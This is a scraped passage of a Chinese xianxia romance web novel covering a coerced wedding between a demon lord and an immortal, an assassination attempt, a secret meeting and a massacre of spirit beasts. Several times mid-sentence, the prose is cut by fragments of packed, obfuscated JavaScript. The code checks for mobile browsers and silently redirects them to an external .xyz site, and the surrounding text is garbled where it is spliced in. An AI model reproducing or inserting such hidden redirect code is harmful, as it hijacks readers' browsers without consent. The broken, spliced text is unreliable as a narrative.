月轻盈一愣,瞬间戒备起来,人也往后撤了半步,“你想要什么甜头。” 沈砚台眼眸微闪,瞬间受伤,眉眼低垂带着委屈,“小盈要我解开正道修士们的控制,一点都不在乎我是否会被他们所伤,我心悦于你,你便能安心的任由别人糟蹋我吗?” 月轻盈何时见过沈砚台如此委曲求全的一面,想到可能是情丹带来的影响,他半晌憋出来一句。 “我没有……你……你想要什么甜头?” 沈砚台立刻眉开眼笑,俊美的男人身上带着点少年气息,憨憨的很是好哄。 “亲我一下啊。” 说完话,沈砚台就闭上了眼睛,把脸往月轻盈面前一凑。 月轻盈整个人又戒备的往后退了半步,凝神紧盯,恐慌这是他的把戏。 可他什么阴谋诡计都没等来,等来的是沈砚台的小声催促和嗔怨。 “可不许用手指糊弄我。” 月轻盈脸色一白,看着眉眼俊美的高大男人,忽然意识到,给沈砚台用情丹,不知是好还是坏。 他被迫迎合沈砚台,才能满足他让沈砚台对他心生出情感的假象。 看着沈砚台,想到他眼也不眨杀了小川,小宵,一众正道修士,月轻盈眼里恨意浮现,见沈砚台等不及快要睁眼的时候,心惊,猛地往前一撞。 血腥味瞬间弥漫在两人的唇舌。 沈砚台挑眉,半睁开眼,就见脸色发白身躯颤抖的月轻盈,亲完后立刻后撤,垂着脑袋,看不清他的表情。 他将唇边的血卷入进口腹,眼眸深沉,嘴里说的话却很腻人。 “真甜,不知道下次小盈会在什么时候主动亲我,而不是我提要求才会亲我。” 他手捂在胸口,月轻盈心神大震,害怕被他发现情丹的存在,立刻又去撞他的唇瓣,这次他停留的时间稍长。 沈砚台对这样的投怀送抱还算满意,没有在碎碎念,装出黯然伤神的样子。 “明天我让人准备后,后天我们就完婚。” 月轻盈眼眸一暗,沉沉闭眼,终于是等来了这一天,他嗓音不稳:“好。” 大婚当日。 天气很好,艳阳高照,他的月华宫里张灯结彩,贴满了红双喜。 魔族人也都跟着沾染喜气,笑声不断,一直忙碌奔波着。 月轻盈穿着沈砚台从人间寻来的大红色绣着金玉良缘喜字的婚服,顶着红色的盖头,坐在喜床边,等着安排。 他的身后自然有两个看守的侍从。 虽是婚礼,他也没有降低防备,恐慌沈砚台又作出什么幺蛾子。 然而,一切如常。 当他被沈砚台牵着手离开月华宫,来到轩辕殿前的一路,也没有出现任何差错。 “小盈,我要揭开你的盖头了。” 月轻盈心往下沉,开始了,沈砚台终于露出他可恨的嘴脸,故态复萌,又要羞辱他了。 他心里焦急心慌,害怕他又要杀了无关紧要的人。 可无事发生,他惊疑不定,没多久他就无暇顾及了。 他眼睛得到光明后,便立刻去看四周,几乎在人群中一眼就见到了小河。 他身形修长挺拔,很是扎眼,他亦穿着红色衣服,立在混乱人群中朝他遥遥看过来。 “小河……”月轻盈心系于他,不自觉启唇唤了出来。 沈砚台看他那么关切的盯着他的大徒弟,眼神深沉,忽的他皱起眉头,垂首看去,月轻盈竟是失神将他的手给捏疼了。 “无碍,今日我不杀生。”为了打消他的担心,沈砚台凑过去在他耳边低语。 月轻盈浑身一颤,立刻抬眸看他。 沈砚台今日将时长散漫的长发束了起来,戴了玉冠,上面插着一只珠串摇曳的簪子,贵气逼人,潇洒俊逸。 他本就长的俊美,在大红色喜服的映衬下,看起来竟像个少年人,眉宇落拓,雅人深致。 听见他提起不杀生,月轻盈脸色一白,不好的回忆涌现,他鼻尖一酸,眼眸立刻湿润。 沈砚台无视他眼里的悲意,转头去看汇聚在轩辕殿里的众人。 魔族,正道人士,妖族,邪魔歪道,众生百态,竟不全是他沈砚台的手下。 他没放弃杀尽外族,或是招揽他们入伙,正好借着婚礼这个机会,看看他们的底细。 就连正道修士都成了他麾下的活死人,这些人亦不用惧。 “沈某十分感谢各位来参加我和第一仙尊月仙尊的成婚礼。” 话语点到为止。 众族人立刻纷纷开始道贺,随即让人将先前准备好的礼物尽数送上。 “魔族祝贺魔尊月仙尊大婚,送上保魂伞一柄、万年血灵芝一株、绝仙台一座、百万正道修士……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762322|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被沈砚台恢复了神智的正道修士们脸色铁青。 魔族人念的这些东西,都是他们抢过去的,这些本都是正道的魁宝! 等魔族的礼送完,他们的脸色更难看了,轮到他们上前送贺礼了。 “正道修士祝贺魔尊月仙尊大婚,送上轮回镜一个、保胎丹数枚、孕丹数十枚、仙府一座……” 沈砚台挑眉,看向脸色发白的月轻盈,眼里含着戏谑:“好多胎孕的丹药,正道修士这是祝咱们早生贵子啊。” 月轻盈耳边嗡嗡响,他何曾不知正道人士送这些礼的用意,尽数全都是羞辱他的。 他怔然,看向正道人士,这才发现他们竟用嫉恶如仇的眼神盯着他。 月轻盈百般滋味上心头,万分难堪,步伐不稳的踉跄了一下,被沈砚台伸手揽住。 “怎么了,已经怀上了?” 月轻盈眼圈猩红,瞪着始作俑者,见他这么轻松说笑,手慢慢紧握成拳。 他日后必杀了沈砚台! “最后,由月仙尊大徒弟李源河献礼。” “小河……”月轻盈起身,看向小河,泪已涟涟。 小河手中捧着一方檀木盒,步伐坚定,从人群中走出。 膝盖前屈,噗通跪下,高举檀木盒,磕头三下。 “小河代小川师兄祝福魔尊月仙尊花开并蒂,白首成约。” 磕。 “小河代小宵师弟祝福魔尊和月仙尊花好月圆,百年琴瑟。” 磕。 “小河祝魔尊月仙尊假偶天成,缘定三生。” 磕。 月轻盈已然泣不成声,他知道,小河肯定是在怪他。 “对不起……”月轻盈泪眼朦胧,看着送完礼,起身要走的小河,想要开口留住他,却不知道说什么。 他徒劳的伸出手,怎么也抓不住他的背影,最后颓然垂下手,心如刀绞。 沈砚台皱眉,看着小河,眼里闪过杀意,在他的婚礼上提起两个死人干什么! 他和月轻盈还没怎么样,就有人开始挑拨他们夫夫关系了。 也是,他和月轻盈算是强强联手,想来,妖族和那些邪魔歪道,是该要对他们心生忌惮。 不过,正道那些修士也是心怀了鬼胎,必有后招。 他堂堂一方魔尊,亦不畏惧就是了。 只是这时候,沈砚台却是转头看向了沉浸在悲伤中的月轻盈,皱起了眉头。 啧。 有人将念头打在月轻盈头上他一早便知晓,他本无意去管,可他现在是他的解药,他不得不插手了。 沈砚台心里有怨气,掐住了月轻盈柔软细腰,阴阳怪气:“夫人,你可千万要跟紧为夫,别到处乱跑,别轻信他人。” 月轻盈泪已风干,闻言,心内冷笑,眼眸频频看向被魔族人收起来的小河送的那一方檀木盒。 21. 第21章 他的小动作尽数落入沈砚台的眼中。 “夫人想要那个檀木盒?” 他微微俯身,靠近月轻盈侧脸,眼眸盯着他不住轻颤的眼睫,态度暧昧。 “这是我徒儿送给我的贺礼,自然想要。”月轻盈担心他不给,立刻抬眸看他。 沈砚台捕捉到他眼里的紧张和戒备,有些不悦,面上云淡风轻。 “可是这贺礼也有我的一份。” 这是不给他了。 月轻盈拧眉,急着就要发作。 沈砚台拦住他,伸手隔空将檀木盒擒来,抓在手中,对月轻盈使用了术法,将檀木盒盖子随手打开。 他将里面的东西看完,神情高深莫测,期间抬眼扫了一眼小河,不动声色将盖子合上。 “哼,我还以为是什么东西,原来只是一封谢师书信。” 他将术法撤回。 月轻盈几乎是在下一秒就将檀木盒子抢在怀里,死死的护住。 “谁让你看里面的东西的?”月轻盈惊怒。 “你都是我的人了,何论你的东西我的东西,你的就是我的。”沈砚台言辞轻佻。 月轻盈气的瞳孔猩红,扣着檀木盒子的手收紧,骨节发白,压抑自己的杀心。 “小盈,你不开心了?为夫只是说笑而已,你不乐意下次我便不动你的东西,消消气可好?” 沈砚台见月轻盈动怒,本想在逗逗他,但想到两人的大婚日,两人为一个小东西大打出手,实在不体面。 便记挂着自己现在是被情丹控制,是深爱月轻盈的角色,低声下气,好脸相赔道不是。 月轻盈沉沉闭眼,再睁眼时冷静了几分,他眉目软了几分。 “徒儿送的东西我自然比较重视一点,夫君莫要着恼。” “那这么说,小盈你是不怪罪为夫了?” 沈砚台低眉顺目,笑意盈盈,甚至伸出手,手指勾缠上月轻盈手边的衣袖,在两边轻轻拉扯摇晃。 月轻盈有些恍惚,后来意识到他这是被情丹迷惑,立刻顺着话接了下去。 “我不会生你气的,你下次莫要捉弄我。” 沈砚台的示弱,轻哄,撒娇,月轻盈都知道这是情丹作祟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762323|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不适的将衣袖往后藏了藏。 沈砚台指间一空,看着又在躲着他,刻意和他保持距离,不停提醒他,两人是仇人的月轻盈,眯起了眼睛。 而两人的几个来回,也被前来参宴的众人看了去。 不明真相的众人,皆都一脸的震惊和不可置信。 魔尊和仙尊月轻盈两人不是逢场作戏,是真的相爱? 魔尊的眼睛就没从月仙尊身上离开过! 本来就是想借着这场婚礼探一探魔道和正道是否结盟的虚实,他们这是真的? 不是吧,不是吧,假如是假的,这两个人也太像是真的了! 假如是真的,岂不是……他们要被魔尊沈砚台和月轻盈联手掌控? 众人脸色凝重,心里仿佛有座大山压着,不妙的预感让他们有些焦躁起来。 就在这时候,忽然有三五人冲出,手中各拿着不同的兵器,皆身穿黑色衣裳,脸部被黑色的纱巾包裹,杀气腾腾朝着沈砚台和月轻盈的方向杀了过去。 月轻盈见状,眼眸阴沉,沈砚台……果然是要动手杀了他! 22. 第22章 难道情丹也没用吗? 月轻盈闪神,下一秒,他就被揽入了一个宽阔怀抱中。 他颈线呈现向上绷紧的弧度,就见沈砚台神色透着冷意,出手果断,偷袭的人像断了线的风筝飞了出去。 这些人吐着血依然不死心,握成拳头的手张开挥洒,发光的粉末袭来。 月轻盈眼瞳猛缩,正欲闭气,他的眼前陷入黑暗,抬眼就见沈砚台护在他身前。 他微微一愣。 “什么东西也敢来本尊的婚礼上闹事?” 沈砚台直接伸出一手,朝着躺在地上的袭击者,凌空一握,噗噗几道粉雾炸开。 众人心凉,皆处于沈砚台心狠手辣的震惊中。 月轻盈见他没有一丝犹豫,将他是魔头的信念又坚定了三分。 “诸位,本尊已然解决掉这些臭虫,无需担心,婚宴继续。” 众人几乎是僵硬着脸,挤出笑来。 月轻盈眼睫毛轻颤,沈砚台真是冷心绝情,杀人不眨眼。 这时候,沈砚台动了动,他对视上沈砚台看过来的目光,眸子幽深,有暗光浮动。 “夫人可有吓到?若是被吓到,本尊让他们再死一次便是。” 月轻盈盯着血雾发呆,几条生命就这么没了,他闭眼,缓缓启唇,心在颤抖:“没有。” “那就好。” 沈砚台身子忽然一晃,倒在月轻盈的肩膀,瞬间感受到了重力的月轻盈,下意识抗拒的抬手去推。 “夫人怎么不问问我有没有吓到?” 月轻盈介怀他对生命没有敬畏感,抿唇不语。 沈砚台好似习惯了他的冷漠,接着道:“我吓到了。” 话刚落音,月轻盈就察觉到领口处有一股温热的潮湿。 血腥味瞬间爬上他的鼻腔。 沈砚台受伤了? 月轻盈恍惚,他是什么时候受的伤? 是刚才帮他挡住那些会发光的粉末的时候吗? “你怎么了?” 魔尊沈砚台,杀人不眨眼的魔头,竟然会帮他挡了一道,自己却受伤了,月轻盈不可谓不动容。 他不是无情的人。 仇是仇,恩是恩。 仇要报,恩也要还。 “都说是被吓到了。” 察觉出月轻盈要查看他的伤势,沈砚台挑眉,说着没事,眼眸却冷了下来。 别人都不清楚刚才的发光的粉末是什么,但是他却知根知底。 那些发光的粉末是食灵花的毒。 而那些人一开始的目标就不是月轻盈,而是直奔着他来的。 旋即,他的眉头又皱了起来,那些偷袭的人手握食灵花的毒,为何他们没有被食灵花控制住神识? 他缓缓垂眸,看向了一身红色的月轻盈。 今日大喜的日子。 魔族的人为了今日,派了好几拨人手下凡,观看凡间的婚礼。 听说凡间人成亲穿红色,他便挑了一对喜服回来。 他是魔,不在乎样貌,不在乎衣着穿着好看与否。 可是,月轻盈穿着红色的喜服,衬得他眉目轩昂,脸嫩嫩的粉,唇红齿白的,眉眼也柔了三分,人看着像是十七八岁少年郎。 他身影修长纤细,就似玉骨清风,不腻,但是一阵一阵的撩拨人。 看他清澈的眼,柔和的五官,深色的唇,修长的脖颈,沈砚台心如明镜,深深呵笑。 刚才那拨人,和月轻盈一样,食灵花的毒对他们都无效。 真是来了一群有意思的人啊。 “你怎么不说话?”月轻盈感受着身上压着的力道越来越沉,有些吃力。 感受着沈砚台身上微薄的生命力,他有一瞬间想顺水推舟,给他的心口来一刀。 可他又怕沈砚台使炸,只能提防着和他拉扯。 “被吓到了,还没好,夫人不要做声,莫要传了出去。” 沈砚台头安稳的搭在月轻盈的肩膀,闭上了眼睛,呼吸悠沉,手也不老实的摸上了他的腰。 如看到的一样,很细,他的胳膊环住他,手还可以搭在他的屁股上,也不会往下掉。 一直觉得他的屁股很翘,双修的时候手感就很好,这样正儿八经的搭着居然也很合适。 “你……你干什么!” 月轻盈难堪,眼里压抑着怒火,若不是不敢轻举妄动连累小河和一干修士,他铁定一巴掌直接拍出去了。 “被吓到了,要缓缓才会好啊。” 沈砚台无赖似的,更加将全身的重量都压在月轻盈身上。 月轻盈只觉得,他的接近让他百万般不适,无数次起了杀心,最后都忍了下去。 沈砚台就着月轻盈着恼重重的吐息,暗自给自己运功疗伤。 他的额头覆盖了一片细汗,眼里的冷意令人心惊胆颤。 他本就身中食灵花的毒,期间为了救自戕的月轻盈动用了心头血,身体还未调理好,这次又中了食灵花的毒。 情势不是很乐观。 将呼吸调稳,心口不再痛了之后,沈砚台起身,脸色煞白犹如白纸。 月轻盈何曾见过沈砚台如此虚弱的样子,眼眸里闪过一道晦涩的光,将手往后藏了藏。 婚礼整整开设了一天。 除去刺杀的小插曲,中间都很顺利。 魔尊和仙尊的大典,自然要浓重些,深刻些。 月上梢头,沈砚台才松口让这些人回去。 “魔尊魔后这边走。” 夜已深。 魔族的狐妖手里提着蝙蝠为灯,在前面带路,脚踩在玉石板上,月轻盈一路提心吊胆。 大婚后的第一晚,该是要合圆,圆房的意思。 他侧头,看向穿着喜服,身材高大俊美无俦的沈砚台,缓缓垂眸,看向他紧握着自己的手。 沈砚台今晚……会不会碰他。 不碰还好,若是他强硬,他该怎么做? “本以为洞房花烛,小盈该是和我一样高兴的,你的脸该比天上的明月还要好看,可你怎么脸色煞白?” 一直不时关注月轻盈的沈砚台,动了坏心思,见他眉头一直没有松开过就猜到他在想什么了。 “我……我……”被看穿,月轻盈一下子心提到了胸口,半晌没有找到借口。 “难道你在想以后要给我生几个孩子?”沈砚台不着调轻笑。 月轻盈却是心尖一抖,满眼屈辱,沈砚台若是敢这么做,他一定会杀了他! “别担心,我这个姓沈的不会有子嗣后代。” 月轻盈懵然,看着沈砚台不明所以,“你为什么跟我说这些?” “担心小盈太爱我,给我生很多的孩子。” 月轻盈稍稍松了一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762324|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼眸闪躲,扯唇笑的勉强:“我是男人,生不了。” “嗯,小盈这样想就对了。”沈砚台眯眼,很是满意。 在狐狸女的带领下,两人来到婚房。 跟房间的布置不低相同,窗户上贴满了喜字,就寝的床上都用了红色,床上还有摆好的早生贵子四个大字。 月轻盈赶紧挪开视线。 狐狸女走后,沈砚台拉着月轻盈来到桌子前坐下。 “我也是第一次成亲,凡间的人们说成亲要喝合卺酒,小盈我们喝一杯?” 月轻盈眼发直的看着他将酒倒入白玉杯,看着他将酒递过来。 他没有接,脸色不住变白,问:“喝完了以后呢?” 沈砚台眼眸一亮,眸光在烛火的映照下,竟有丝丝暖色柔波。 “喝完了以后,你待喝完便知……” 月轻盈看向酒杯,在看像是笑里藏刀的沈砚台,终是咬紧牙,抖着手拿起了酒杯。 烛火柔和,暖意绵绵。 沈砚台和月轻盈勾手,唇瓣落在杯沿,随着吞咽声响起,合卺酒入腹。 月轻盈坐立不安,脸色像是调色盘。 沈砚台看着月轻盈,笑容诡谲,手指搭在桌面轻轻敲击。 做好了决定,沈砚台装作不胜酒力的样子昏昏欲睡。 “小盈,我们休息吧。” 他自顾自起身,褪下衣裳,躺在床榻里面,被子一裹睡了起来。 月轻盈盯着他半晌,确信他真的睡着了以后,还给他施加了一层睡眠咒。 他脸色立刻变得凝重起来,将一直藏着的纸条拿了出来。 这是那些刺杀的人在丢出发光的粉末前的那一刻朝他投掷得来的。 他谨慎,又看了一眼沈砚台,背过身,摊开了纸条。 上面写着约见月仙尊,共谋灭沈砚台一事的信息。 月轻盈脸色冷厉,换了衣服后便去了相约的树岭。 树岭是一大片撼天树组成的小树林,那里仙气茂密,源源不断。 同样那里因仙气充沛,也滋生出了很多修炼的小生物。 也算是有种富贵险中求的意境。 他一贯爱穿着白色衣服,只身一人赴约,等到了树岭,很快就有几道身影窜出。 这些人皆穿着黑色衣服,头脸有黑色纱巾挡着,他们成群结队,手上拿着不同的兵器。 月轻盈自然不会轻易上当,来的时候做足了准备,见他们人多,便戒备的往后退了一步。 启料,这人看似是首领的一人,竟是拿出了白天他们曾抛洒过的发光的粉末。 “月仙尊可知这是何物?” 月轻盈轻轻摇首:“何物?” “此乃食灵花的毒,是会要了沈砚台命的东西。” 月轻盈眉头攒动,不解,食灵花是被沈砚台所操纵着的,又怎会成为害他的要命毒? “你们召唤我来是……” “实不相瞒,月仙尊两个徒弟被沈砚台所杀,被逼成亲的事,我们都有耳闻,你和他有仇 我们亦和他有怨,既然我们现在已有了能杀了沈砚台的引子,不如我们联手。” 撼天树枝头上的咕咕鸟,叫了起来,装睡的沈砚台睁开了眼,眼底清明。 他缓缓侧头,看向早已没了月轻盈身影的房间,暗暗叹气。 “蠢死了……” 23. 第23章 “他到底有没有已婚男人的自觉,大半夜的不要乱跑?” 沈砚台冷着脸,眉宇间都是怨气。 先前喂给月轻盈的心头血,想要归位的急切,沈砚台瞬间辨别出方向,一个踏步离开了房间。 身上的魔气翻涌,他变成石墨的样子,靠近树岭。 月轻盈对联手这个提议动了恻隐之心,可是他并不了解这些人的来路。 这些人见月轻盈没有表态,交换了几个眼神,身体前屈,脚步微动,暗暗握紧了手中的兵器。 就在这时,一道咳嗽的声音闯了进来。 “咳咳,我在这赏月呢,居然就撞见盈盈了,我们真是有缘分啊,盈盈你在这里干什么?” 熟悉的调侃男声,月轻盈眼睫轻颤,抬眸看过去,就见石墨正横卧在树梢,背后是一轮巨大的月亮。 飘渺幽迷的光,映照的他比明月还一身清辉洒脱,脸上的笑清澈可见。 “你在这里赏月?”月轻盈眨眼,不太懂。 “是啊,月色不错,本来忧愁没见到仙子,低头听见说话声,却没想到见到了仙男。” 石墨下巴枕在臂弯,一手垂着,指尖拨动,似在捞掌心根本握不住的清风。 “……”月轻盈应付不了这样油嘴滑舌的石墨,特别是两人双修的次数变多,石墨的真面目袒露的就更多。 “盈盈你仰着头看我是不是很累,那我下来?” 石墨起身,整衣,欲要跳下来。 先前来找月轻盈的那些人,忽然往后撤了几步,为首的人对着月轻盈拱手。 “月仙尊遇见熟人,我等就不打扰了,还望刚才提议之事,月仙尊多考虑考虑。” 一行人在黑夜里,如褪去的潮水,转眼消失。 听见落地的声音,月轻盈转头,就见石墨背着手朝他走了过来,脸上带着他看不懂的笑。 “盈盈,让我来猜猜,本该是你和沈砚台的洞房花烛夜,你却偷偷跑出来,该不会是为了见我?” “这只是个巧合。”月轻盈被他的多想,惹得无语。 “巧了才能合。”石墨上下打量月轻盈两眼,眉眼有着失落。 “盈盈今日穿的红色喜服当真好看,你若是来见我,怎地不穿红衣?” “我真的不是来见……”月轻盈气结。 “行行行,不穿就不穿。”见他着恼,石墨笑着凑进月轻盈,手指试探地摸上他的食指勾住,然后一把握住。 “现在夜深露重,要不要去别云间坐坐?” “沈砚台在睡觉,我担心等会他会醒过来,他若是没见到我,该要发怒了。”月轻盈侧目,抽出了自己的手。 石墨挑眉,赞同点头,“盈盈思虑周到。” 他装出可怜的味道,摇头叹息,“可怜了我的别云间,冷清如冰窖。” 月轻盈还记挂着他送他的撼天树,开口柔声让石墨等一会儿后,走进了树岭里。 不多时。 似是蒙着一层薄纱,清冷的月色下,月轻盈一身雪白,头发微乱,气息微喘,没了平日的端正清冷,怀中抱着一只兔子,身影修长步步沉稳走来,站在石墨面前。 “别云间里活物极少,这个送你,它是雪月兔,玄冬时节身上的毛发会变成雪花,整只兔也晶莹剔透很漂亮。” “我空着手来,本想带盈盈走,盈盈不肯,那我只能接受这个被盈盈碰过的兔子了。” 石墨唇间勾笑,伸手接过雪月兔,一触手,它那珠圆玉润的身躯,沉甸甸的重量,让他为之变了脸色。 “这个兔子……莫不是兔子猪?” 月轻盈有些不好意思,“身形灵巧的都跑的飞快,就它半天才挪动一点距离,好抓……” 石墨愣住。 看他狼狈的样子,低头打量鼻翼翕动三瓣嘴的兔子,神色古怪:“你们仙界养的兽都这么厉害?” 月轻盈摇头:“不是养的,它们是天地馈赠,自由生长的仙兽。” “天地养的仙兽啊,我肯定会好好养他,不会委屈它。” 石墨揪住了雪月兔那一对垂到它小肚肚上的耳朵,后又改揪为抚。 “你可一定要好好待它,它被我抓来已经很可怜了。”月轻盈眼里有着挣扎,开始后悔自己是不是不该送活物给他。 “你放心,你下次来见它,肯定比现在还胖。” “谢谢。”月轻盈点头,由衷道谢,垂眸落在雪月兔身上,“我谁都没保护好,希望你能帮我保护好它。” “知道了,一只不会说话的兔子,我还能跟它怄气不成?” 月轻盈也觉得自己是不是有些小题大做了,歉意的笑了笑,便提出时辰不早了,他该回去了。 “我就不送你了,受不了魔气刺鼻的味道。” 他先前就对魔气敏感,月轻盈本意也没打算让他相送。 目送月轻盈走后,沈砚台脸上的笑立刻沉了下来。 他提起雪月兔一对长垂耳,不顾它凌空挣扎惨叫,眸光幽冷,视线紧盯着它浑圆的腹部。 “呵,月轻盈真会挑,挑了一只有崽的兔子。” “可我天生不能有崽,真是……碍眼。” 一轮清辉月光照耀下的树岭,笼罩着一层深邃的幽静。 沈砚台眼瞳猩红,倏然出手,深红色的血液喷涌在他的脸上,眼里有着疯狂。 他看着腹部被绞烂,流着泪,死的不能再死的雪月兔,随手丢在了地上。 “啧,弄死了盈盈送的兔子,我还得费心再去找一只。” 沈砚台背着手,转头看向了树岭的入口。 “那里面应该还有很多繁殖期的仙兽吧?杀起来太累了,唔……怎么才能减轻我的烦恼。” “真是佩服月轻盈,带来了一个这么困扰我的问题,我现在不是很开心,怎么做才能让我身心愉悦,我得好好想想。” 走在回去路上的月轻盈,耳朵莫名发烫,心神也不宁,总感觉有事情要发生。 到了住所,看着如同他离开时没有变化的屋子,脚步突然顿住。 他满眼迷茫,他真的嫁给了沈砚台,他有更多的机会接近沈砚台,好伺机杀了他。 他坚定杀了沈砚台的心,整理心情后踏进了房内。 看着在塌上沉睡的沈砚台,月轻盈紧绷的一宿未眠。 清晨,阳光微煦。 沈砚台和月轻盈各居一地,相隔不远,同在洗漱。 给自己腰间挂上翠玉的沈砚台,望向镜子里那道修长青隽的身影,眼里盛着藏不住的恶意。 “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他叹气,故作伤神,“而且小盈我同你说了不会杀人,你且信信我。” “我就是闲来无事随处一逛,竟是寻到了一个有着绝美风景的地方,想和你一起分享,那里仙气十足,你肯定会很喜欢。” “我是魔,我虽受不住那仙气,为了你却甘愿受着,小盈你都不心疼我吗?” 月轻盈迟疑了,或者说被他迷惑了,他抬眸看向沈砚台,眼里有着认真。 “你当真不会滥杀无辜?” “当真。” “小盈,过来。”沈砚台笑得温柔小意,朝月轻盈伸出了手。 月轻盈盯着他的手,手指修长,骨节分明,手掌宽大,掌纹清晰,指尖红润饱满。 这一双手玉骨风采,却不知道杀了多少人。 他没理会,侧身从他身边擦过,径直走向树岭。 沈砚台懒散跟在他身后,得逞的笑了,笑得极致张狂。 “小盈啊,我送你的礼物,是……狩猎树岭所有的仙兽!” 24. 24章 “小盈,你有没有见过红色的雨水?” 沈砚台走过来,跟月轻盈并肩,见他脸上骤然失去的血色,笑容里满是恶意,他抬起手,微微动了一下手指。 树岭四周立刻出现一群魔族士兵,他们身穿玄色甲胄,手里握着弓箭,肩膀上背着箭箱。 月轻盈手脚发凉,内心有着巨大的恐惧。 似乎是验证了他的猜想。 那群魔族士兵齐齐搭箭拉弦,瞄准了对危险毫无防备的仙兽们。 咻—— 箭矢破空的声音呼啸,月轻盈呼吸一窒。 小溪流,一只通体玉色,头顶着云朵的玄鹿正在一脸惬意得喝水,瞬间,它被箭矢洞穿。 伤口处有仙气消散,似是承受不住生命力的消失,它凄惨嚎叫,身躯挣扎,腿软倒地,噗一声成了一团血雾。 月轻盈触目惊心,肝胆俱裂。 “你……你在……你在干什么!” 月轻盈抖着唇瓣,看着有着优美歌声的虹蛇消散、看着会带来好运的檀鸟死前努力扇动翅膀,直至没了生息。 越来越多的仙兽的生命在消散。 树岭里的血腥味越来越厚重。 魔族士兵的滥杀,导致仙兽们的血溅得到处都是,真的如沈砚台说的那般。 下起了红色的雨水。 月轻盈一身白衣被淋湿,染成了血红色,他呆愣愣的看着这一切还有些反应不过来。 直到树岭不在安静,仙兽们四处逃窜,有的往他的身上撞,动静大了,他也只堪堪动了一下眼睛。 一只雪月兔,嗅到了他身上的仙气,极速朝他奔来,一对垂下来的兔耳本该搭在小肚肚上的,此刻却拖曳在地,被它的脚踩烂,鲜血淋漓。 也依然要叼着身上血未舔净,刚出生不久眼睛都没有睁开的的崽子向他求救。 月轻盈泪水模糊视线,弯下腰,伸手就要去迎接那孱弱的小生命。 沈砚台眯眼,看穿他的心思,施法将他定住,随即扶着他站起来。 罔顾他含着质问和绝望的泪眼,无情一笑:“小盈,还未见过我的箭法吧?” 月轻盈瞬间瞪大眼。 “拿弓来。”沈砚台伸出一手,立刻就有魔族士兵上前,给他递了一把弓。 “今日便让小盈,见识见识我的箭法,哄小盈开心。” 沈砚台搭箭拉满弓,弦紧绷,他的手一放开,箭矢射出。 咻—— 箭矢破空,只留一道尾影,月轻盈反应过来时,已经穿透了成年雪月兔的身体。 啪—— 箭矢射进半个树体才算停下,,雪月兔挂在箭杆上,双眼含泪,冲着幼崽弱弱的喊叫。 见它身体逐渐无力的垂落,月轻盈便知它没了生息。 “你为什么要杀害这些仙兽!”月轻盈龇目欲裂。 树岭的仙兽何其无辜。 “住手!停下!不要再杀它们了!” 树岭里溢满了死气和绝望,看着仙兽们开始堆叠起来的尸体,身体无法动弹的月轻盈,大声喝止! 可是没人听他的。 “沈砚台你对生命没有一丝一毫的敬畏感吗!”月轻盈算是看透了沈砚台,他就是冷血冷情的魔! “可以随意捏死,踩死的蚂蚁,有何惧?”沈砚台嗤笑。 视线在树岭里捕捉,查看是否有落单的仙兽可以拿来射杀。 然后他很快找到了一只。 是先前那只雪月兔的幼崽,被箭的劲气带着跌倒在树前。 它能嗅到母亲的味道,却因为眼睛没不能视物,因此也发现不到它的母亲被箭矢射死挂在树上。 沈砚台:“小盈,先不说这个了,你看那个兔子的幼崽还没死,我射下来送你,咱晚上吃兔子如何?” 月轻盈顺着他的视线,立刻发现了落单的幼崽。 它趴在地上,身体惧怕的颤抖着,呜呜咽咽的喊叫声好像是在哭。 不知为何,月轻盈忽然想起了他捡到小川小河小宵时的场景了。 当时的小川小河小宵一样是弃子,因为被他捡到还哇哇大哭起来。 可惜啊,被他养大的孩子,还很稚嫩,却已然死了两个。 “沈砚台你我都不配活着。” 月轻盈鼻酸痛心,对沈砚台心死,再不会心存有他会变好的希冀。 可笑他之前,还因为沈砚台救了他一次,一直记挂在心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 